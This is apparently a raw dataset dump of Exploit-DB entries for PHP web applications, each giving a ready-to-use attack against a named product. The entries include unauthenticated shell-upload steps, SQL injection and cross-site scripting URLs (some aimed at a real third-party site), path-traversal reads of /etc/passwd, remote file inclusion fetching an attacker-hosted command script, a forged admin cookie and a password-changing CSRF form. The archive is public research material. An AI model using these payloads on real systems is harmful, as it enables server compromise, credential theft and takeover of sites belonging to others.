deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8793
Description: eZoneScripts Hotornot2 Script - (Authentication Bypass) Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-26
Author: sniper code

Exploit:
    [+]
     Hotornot2 Script (Remote apload) Admin Bypass Vulnerability

    ===== ++ by sniper code++============================================

    Author : sniper code  ( S.C.T-443 )
    website : www.sec-code.com
    ===================================================================================================================
    [+]
    ScRipT : http://www.ezonescripts.com/scripts/sls/hotornot2.php
    ====================================================================================================================
    [+]
    Exploit:

    GO to :
    http://localhost/[path]/admin/sitebanners/upload_banners.php ( no need to registeration)

    you will see (Upload banners)

    ( browse and select file like example : Shell.php) and press upload )
    you can press View banners button to see and ensoure your file uploaded ...

    then Go to :
    http://localhost/[path]/banners/Shell.php    ( will view the shell )

    [+]
    for bypassing admin backup :
    Go to :
    http://localhost/[path]/admin/backup

    dork : use ur mind ^_^

    Thats it . . .
                            
    ===================================================================================================================
    [+] Greetz to :

           [Â»] MN9 - AL-H7ano0ty - AB0 3thaB -snake1095 - rxh
           [Â»] JiKo, Crackerz child...
           [=]all members of tryag.cc + sec-code.com

    ===================================================================================================================

# milw0rm.com [2009-05-26]
Exploit-DB #7680
Description: ezpack 4.2b2 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-01-06
Author: !-BUGJACK-!

Exploit:
 +++++++++++   EZpack (XSS/SQL) Vulnerability ++++++++++
 ************************************************************************
ProDuct Name : EZpack
Download : http://www2.se-ed.net/fatcoder/?mode=download
Author : !-BUGJACK-!
Site : www.it-dark.com
+***************************************************************+
[SQL]
http://localhost/ezPack/op=prog&mdfd=webboard&act=1&ID=1&qType=ID+[SQL]
*****************************************************************+
[XSS]
http://localhost/ezPack/?op=prog&mdfd=[XSS]

*****************************************************************+

Demo XSS

http://www.khokhaoislandbeach.com/ezPack/?op=prog&mdfd=<script%20type="text/javascript">%20alert('xss')%20</script>

Demo SQl

http://www.khokhaoislandbeach.com/ezPack/?op=prog&mdfd=webboard&act=1&ID=1&qType=0'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
************************************************************************************************************************************************************************************************************
Thx : milw0rm.Com $linux TheShadow Cybertrack Theoptix Skill Localhost Unknown ~null Nightmare Auto123 Xanax yuyuhaku ...l3od? $ L@M...
Anuwat555 Dol2à¹›Eà¹›MoN K33à¸¿!N IT-DarK Team. All

# milw0rm.com [2009-01-06]
Exploit-DB #10691
Description: EZPX My Photoblog 1.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : EZPX My photoblog Upload Shell Vulnerability                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by EZPX My photoblog http://ezpx.org/                           |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 1- http://server/ezpx-1.2-beta/index.php?/admin/photos/upload
| 2- http://server/ezpx-1.2-beta/content/photos
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #13890
Description: EZPX Photoblog 1.2 Beta - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-16
Author: sh00t0ut

Exploit:
[~] EZPX photoblog 1.2 beta Remote Include Exploit
[~] Vendor Url: http://ezpx.org/
[~] Found by sh00t0ut
[~] Expl: http://[victim]/system/application/views/public/commentform.php?tpl_base_dir=[evil script]
Exploit-DB #38295
Description: ezStats for Battlefield 3 - '/ezStats2/compare.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-06
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/57759/info

ezStats for Battlefield 3 is prone to multiple cross-site scripting vulnerabilities and a local file include vulnerability. 

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the web server process. 

ezStats for Battlefield 3 0.91 is vulnerable; other versions may also be affected.

http://www.example.com/ezStats2/compare.php?common=[XSS] 

http://www.example.com/ezStats2/compare.php?rankings=[XSS]
Exploit-DB #38294
Description: ezStats2 - 'style.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-02-06
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/57757/info

ezStats2 is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability using directory-traversal strings to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

http://www.example.com/ezStats2_mohw/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg 

http://www.example.com/ezServer/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg 

http://www.example.com/ezStats2_psn/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg
Exploit-DB #26142
Description: ezUpload 2.2 - 'customize.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-10
Author: Johnnie Walker

Exploit:
source: https://www.securityfocus.com/bid/14534/info
  
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/customize.php?path=http://www.example.com/phpshell?&
Exploit-DB #26143
Description: ezUpload 2.2 - 'form.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-10
Author: Johnnie Walker

Exploit:
source: https://www.securityfocus.com/bid/14534/info
   
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/form.php?path=http://www.example.com/phpshell?&
Exploit-DB #26140
Description: ezUpload 2.2 - 'index.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-10
Author: Johnnie Walker

Exploit:
source: https://www.securityfocus.com/bid/14534/info

ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/index.php?path=http://www.example.com/phpshell?&
Exploit-DB #26141
Description: ezUpload 2.2 - 'initialize.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-10
Author: Johnnie Walker

Exploit:
source: https://www.securityfocus.com/bid/14534/info
 
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/initialize.php?path=http://www.example.com/phpshell?&
Exploit-DB #1795
Description: ezusermanager 1.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-15
Author: OLiBekaS

Exploit:
Title       : ezUserManager <= v1.6 Remote File Inclusion Vulnerability
-
URL         : http://www.ezusermanager.com/
-
Dork        : "powered by ezUserManager"
-
Author      : OLiBekaS
-
contact     : olibekas[at]gmail.com
-
greetz      : Renzokuzen, Skulmatic, weleh, brokencode, bigmaster and all #papmahackerlink crew
-
Exploit     : http://[target]/[path]/ezusermanager_pwd_forgott.php?ezUserManager_Path=http://[attacker]/cmd.txt?&cmd=ls

# milw0rm.com [2006-05-15]
Exploit-DB #6115
Description: EZWebAlbum - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-21
Author: Virangar Security

Exploit:
  ###################################################################################
  #                                                                                 #
  #      ...:::::EZWebAlbum Insecure Cookie Handling Vulnerability ::::....         #           
  ###################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(Zahra:zh_virangar)

special tnx :my master hadihadi

tnx to:MR.nosrati,black.shadowes,MR.hesy

& all virangar members & all hackerz
-------
DESCRIPTION:
EZWebAlbum, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
some code in index.php:

    if ( $HTTP_POST_VARS['enteredadminpassword'] == $adminpassword )
    {
        setcookie("photoalbumadmin","1");
        header("Location: index.php");
    }
**********************
now vuln code in constants.inc:
$gotalbumadminrights = False;

if (isset($photoalbumadmin))
{
    $gotalbumadminrights = True;
}//SET ADMIN RIGHTS IF COOKIE FOUND
---
exploit:
javascript:document.cookie = "photoalbumadmin=1; path=/";
-----
now   you can get admin access and manage the cms ;)
[+]Example:add a new page in addpage.php
-------
young iranian h4ck3rz

# milw0rm.com [2008-07-21]
Exploit-DB #6112
Description: EZWebAlbum - Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-07-21
Author: Ghost Hacker

Exploit:
##################################################################################################
 EZWebAlbum (dlfilename) Remote File Disclosure Vulnerability     |,  .-.  .-.  ,|
 Found by : Ghost Hacker [ R-H TeaM ]                             | )(_o/  \o_)( |
 My Site web : Real-hack.Net                                      |/     /\     \|
##################################################################################################
[~] Found by : Ghost Hacker [ R-H TeaM ]
[~] Home page : www.Real-hack.net
[~] Email : Ghost-r00t@Hotmail.com
[~] Name Script : EZWebAlbum
[~] Download Script : http://sourceforge.net/projects/ezwebalbum
###################################### [ Viva IslaM & KSA ] ######################################
[~] Error (download.php) :
readfile($dlfilename);

[~] Exploit :
http://xxxx/[path]/download.php?dlfilename=EVIL
[~] Example :
http://xxxx/[path]/download.php?dlfilename=index.php
###################################### [ Viva IslaM & KSA ] ######################################
[~] Greetz :
PROTO & QaTaR BoeZ TeaM & Aseg-Rabe7 & Dmar al3noOoz & 4Bo3tB & LeGeNd HaCkEr & Root Hacker ..
Qptan & ScarY.HaCkEr & EgYpTiaNxHaCkEr the-pirate.org & Mr.hope & My Blog[ gh0st10.wordpress.com ]
All Members Real Hack And All My Friends ..
##################################################################################################
 Found by : Ghost Hacker [ R-H TeaM ]
##################################################################################################

# milw0rm.com [2008-07-21]
Exploit-DB #26571
Description: Ezyhelpdesk 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15553/info

Ezyhelpdesk is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Ezyhelpdesk version 1.0 and earlier are affected. 

http://www.example.com/?edit=spec_view&edit_id=[SQL]
http://www.example.com/?mid=41&m2id=42&page=1&faq_id=[SQL]
http://www.example.com/?mid=41&m2id=42&page=1&c_id=[SQL]
Exploit-DB #36851
Description: F*EX 20100208/20111129-2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-20
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/52085/info

F*EX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible. 

http://www.example.com/fup [id parameter]
http://www.example.com/fup [to parameter]
http://www.example.com/fup [from parameter]
Exploit-DB #33420
Description: F3Site 2009 - '/mod/new.php?GLOBALS[nlang]' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-18
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/37408/info
 
F3Site is prone to multiple local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
F3Site 2009 is vulnerable; other versions may also be affected. 

http://www.example.com/mod/new.php?GLOBALS[nlang]=[LFI%00]
Exploit-DB #33419
Description: F3Site 2009 - '/mod/poll.php?GLOBALS[nlang]' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-18
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/37408/info

F3Site is prone to multiple local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

F3Site 2009 is vulnerable; other versions may also be affected. 

http://www.example.com/mod/poll.php?GLOBALS[nlang]=[LFI%00]
Exploit-DB #31065
Description: F5 BIG-IP Application Security Manager 9.4.3 - 'report_type' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-26
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/27462/info

F5 BIG-IP Application Security Manager is prone to a cross-site scripting vulnerability because the web management interface fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects F5 BIG-IP Application Security Manager 9.4.3; other versions may also be vulnerable. 

https://(target)/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
Exploit-DB #1841
Description: F@cile Interactive Web 0.8x - Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-28
Author: nukedx

Exploit:
F@cile Interactive Web <= 0.8x Multiple Remote Vulnerabilities
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on F@cile Interactive Web <= 0.8x 
Original advisory can be found at: http://www.nukedx.com/?viewdoc=35
File Inclusion Vulnerabilities.
http://[victim]/[FacilePath]/p-popupgallery.php?l=http://yourhost.com/cmd.txt?
http://[victim]/[FacilePath]/p-popupgallery.php?l=/etc/passwd%00
http://[victim]/[FacilePath]/p-editbox.php?pathfile=/etc/passwd
http://[victim]/[FacilePath]/p-editbox.php?pathfile=\\192.168.1.1\file.php <- php5
http://[victim]/[FacilePath]/p-editpage.php?pathfile=/etc/passwd
http://[victim]/[FacilePath]/p-editpage.php?pathfile=\\192.168.1.1\file.php <- php5
http://[victim]/[FacilePath]/p-themes/lowgraphic/index.inc.php?mytheme=/etc/passwd%00
http://[victim]/[FacilePath]/p-themes/classic/index.inc.php?mytheme=/etc/passwd%00
http://[victim]/[FacilePath]/p-themes/puzzle/index.inc.php?mytheme=/etc/passwd%00
http://[victim]/[FacilePath]/p-themes/simple/index.inc.php?mytheme=/etc/passwd%00
http://[victim]/[FacilePath]/p-themes/ciao/index.inc.php?mytheme=/etc/passwd%00
Cross Site Scripting.
http://[victim]/[FacilePath]/p-themes/lowgraphic/index.inc.php?mytheme=XSS&myskin=XSS
http://[victim]/[FacilePath]/p-themes/classic/index.inc.php?mytheme=XSS&myskin=XSS
http://[victim]/[FacilePath]/p-themes/puzzle/index.inc.php?mytheme=XSS&myskin=XSS
http://[victim]/[FacilePath]/p-themes/simple/index.inc.php?mytheme=XSS&myskin=XSS
http://[victim]/[FacilePath]/p-themes/ciao/index.inc.php?mytheme=XSS&myskin=XSS
Information disclosure
http://[victim]/[FacilePath]/index.php?mn=0&pg=0&lang=/etc/passwd%00

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28]
Exploit-DB #11950
Description: Fa Home - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Fa Home (Auth Bypass) Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : 
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : (Auth Bypass)                                                                   
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://localhost/FaHome//admin/ (Admin Panel)
 
 2 - http://localhost/FaHome//admin/edit.index.php (Edit index Home)
 
 3 - http://localhost/FaHome//admin/image.php (2 Upload Ev!l)
 
 4 - http://localhost/FaHome/upload/1.php (2 Find Ev!l)

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #11949
Description: Fa-Ads - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Fa-Ads (Auth Bypass) Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : 
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : (Auth Bypass)                                                                   
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://localhost/Fa-Ads/admin/ (Admin Panel)
 
 2 - http://localhost/Fa-Ads/admin/image.php (2 Upload Ev!l)
 
 3 - http://localhost/FaHome/upload/1.php (2 Find Ev!l)
 
 or 
 
 1 - http://localhost/Fa-Ads/buy.php (Creat A new)
 
 2 - http://localhost/Fa-Ads//upload/[PII_REDACTED]0343.php (2 Find Ev!l)

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #45992
Description: Facebook And Google Reviews System For Businesses - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2018-12-14
Author: Veyselxan

Exploit:
# Exploit Title:  Facebook And Google Reviews System For Businesses -  Cross-Site Request Forgery
# Date: 2018-12-13
# Exploit Author: Veyselxan
# Vendor Homepage: https://codecanyon.net/item/facebook-and-google-reviews-system-for-businesses/22793559?s_rank=38
# Version: v1 (REQUIRED)
# Tested on: Linux

# 1 Poof Of Concept (Change password):
<html>
   <body>
      <form action="http://Target/action.php?action=profile" method="post" class="form-horizontal form-bordered">
         <input class="form-control" name="name" value="Admin" type="text">
         <input class="form-control" name="email" value="admin@ranksol.com" type="text">
         <input class="form-control" name="password" value="password" type="text">
         <input class="form-control" name="phone" value="[PII_REDACTED]" type="text">
         <input type="hidden" name="id" value="1">
         <button type="submit" name="submit" value="submit" class="btn btn-fill btn-success "><span class="ace-icon fa fa-save bigger-120"></span>Save</button>
      </form>
   </body>
</html>